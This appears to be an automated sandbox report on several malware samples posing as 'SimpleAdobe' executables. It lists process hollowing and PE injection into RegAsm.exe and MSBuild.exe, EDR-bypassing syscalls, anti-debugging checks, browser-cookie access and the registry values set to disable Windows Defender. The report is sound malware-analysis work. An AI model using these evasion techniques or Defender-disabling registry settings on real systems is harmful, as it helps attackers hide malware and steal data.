Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Process queried: DebugPort

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe

Code function: 10_2_00CE9936 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

10_2_00CE9936

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe

Code function: 8_2_00418BB0 LoadLibraryA,GetProcAddress,

8_2_00418BB0

Contains functionality to read the PEB

Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_0045D9F0 mov eax, dword ptr fs:[00000030h]	8_2_0045D9F0
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_0045D9F0 mov eax, dword ptr fs:[00000030h]	8_2_0045D9F0
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_004160B0 mov ecx, dword ptr fs:[00000030h]	8_2_004160B0
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_0041AB90 mov eax, dword ptr fs:[00000030h]	8_2_0041AB90
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_004146B0 mov eax, dword ptr fs:[00000030h]	8_2_004146B0
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: 10_2_00CF5844 mov eax, dword ptr fs:[00000030h]	10_2_00CF5844
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: 10_2_00CECBDC mov ecx, dword ptr fs:[00000030h]	10_2_00CECBDC
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: 10_2_00D1C0D3 mov eax, dword ptr fs:[00000030h]	10_2_00D1C0D3

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe

Code function: 8_2_004094C0 OutputDebugStringA,GetModuleHandleA,GetProcAddress,GetProcessHeap,RtlAllocateHeap,HeapFree,RtlAllocateHeap,HeapFree,

8_2_004094C0

Enables debug privileges

Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process token adjusted: Debug

Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: 10_2_00CE50E5 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_00CE50E5
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: 10_2_00CE9936 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_00CE9936
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: 10_2_00CE4E76 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_00CE4E76
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: 10_2_00CE4FD2 SetUnhandledExceptionFilter,	10_2_00CE4FD2

Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior

Disables Windows Defender (deletes autostart)

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Registry value deleted: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{1165AB9F-ABBA-404C-88FE-8FD0CB61EBCD}Machine\SOFTWARE\Policies\Microsoft\Windows Defender DisableAntiSpyware			Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Registry value deleted: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4A7AB507-57D4-4EFC-A429-A9DAE0E31F7A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender DisableAntiSpyware

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	NtProtectVirtualMemory: Direct from: 0x140FC862F	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	NtOpenFile: Direct from: 0x140FBB569	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	NtQueryInformationProcess: Indirect: 0x140709D98	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	NtProtectVirtualMemory: Direct from: 0x141036FB5	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	NtProtectVirtualMemory: Direct from: 0x140FBCAC6	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	NtProtectVirtualMemory: Indirect: 0x140F595B5	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	NtQueryInformationProcess: Indirect: 0x140709EFC	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	NtQuerySystemInformation: Indirect: 0x1406A6F26	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	NtMapViewOfSection: Direct from: 0x14100CB88	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	NtProtectVirtualMemory: Direct from: 0x141699636	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	NtProtectVirtualMemory: Direct from: 0x140F63C2D	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	NtProtectVirtualMemory: Direct from: 0x141019C6D	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	NtSetInformationThread: Indirect: 0x140703B4B	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	NtProtectVirtualMemory: Direct from: 0x1416E67B3	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe	NtProtectVirtualMemory: Direct from: 0x1416AD85D	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior

Sample uses process hollowing technique

Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe

Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base address: 400000

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 420000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42B000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 63E000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 101C008	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 402000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 456000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 48E000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: ECE008	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 432000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 450000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 9F3008	Jump to behavior

Creates a process in suspended mode (likely to inject code)

Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\1sMfNqnOFjTOadWc0yClvu5P.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 2724 -ip 2724
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2724 -s 316
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown

Source: MSBuild.exe, 00000021.00000002.2873629498.0000000003119000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: GetProgmanWindow
Source: MSBuild.exe, 00000021.00000002.2873629498.0000000003119000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SetProgmanWindow

Contains functionality to query CPU information (cpuid)

Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe

Code function: 10_2_00D07400 cpuid

10_2_00D07400

Contains functionality to query locales information (e.g. system language)

Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	10_2_00CF727D
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: EnumSystemLocalesW,	10_2_00CEF3E2
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: EnumSystemLocalesW,	10_2_00CF756A
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: EnumSystemLocalesW,	10_2_00CF751F
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	10_2_00CF7690
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: EnumSystemLocalesW,	10_2_00CF7605
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: GetLocaleInfoW,	10_2_00CF78E3
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: GetLocaleInfoW,	10_2_00CEF908
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	10_2_00CF7A0C
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	10_2_00CF7BE1
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: GetLocaleInfoW,	10_2_00CF7B12

Queries information about the installed CPU (vendor, model number etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Queries the volume information (name, serial number etc) of a device

Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Queries volume information: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Queries volume information: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation

Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe

Code function: 7_2_004DC84D GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

7_2_004DC84D

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender real time protection (registry)

Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{1165AB9F-ABBA-404C-88FE-8FD0CB61EBCD}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions	Registry value created: Exclusions_Extensions 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{1165AB9F-ABBA-404C-88FE-8FD0CB61EBCD}Machine\SOFTWARE\Policies\Microsoft\Windows Defender	Registry value created: DisableAntiSpyware 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{1165AB9F-ABBA-404C-88FE-8FD0CB61EBCD}Machine\SOFTWARE\Policies\Microsoft\Windows Defender	Registry value created: DisableRoutinelyTakingAction 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{1165AB9F-ABBA-404C-88FE-8FD0CB61EBCD}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableBehaviorMonitoring 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{1165AB9F-ABBA-404C-88FE-8FD0CB61EBCD}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableOnAccessProtection 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{1165AB9F-ABBA-404C-88FE-8FD0CB61EBCD}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableScanOnRealtimeEnable 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{1165AB9F-ABBA-404C-88FE-8FD0CB61EBCD}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{1165AB9F-ABBA-404C-88FE-8FD0CB61EBCD}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{1165AB9F-ABBA-404C-88FE-8FD0CB61EBCD}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRawWriteNotification 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4A7AB507-57D4-4EFC-A429-A9DAE0E31F7A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender	Registry value created: DisableAntiSpyware 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4A7AB507-57D4-4EFC-A429-A9DAE0E31F7A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender	Registry value created: DisableRoutinelyTakingAction 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4A7AB507-57D4-4EFC-A429-A9DAE0E31F7A}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions	Registry value created: Exclusions_Extensions 1
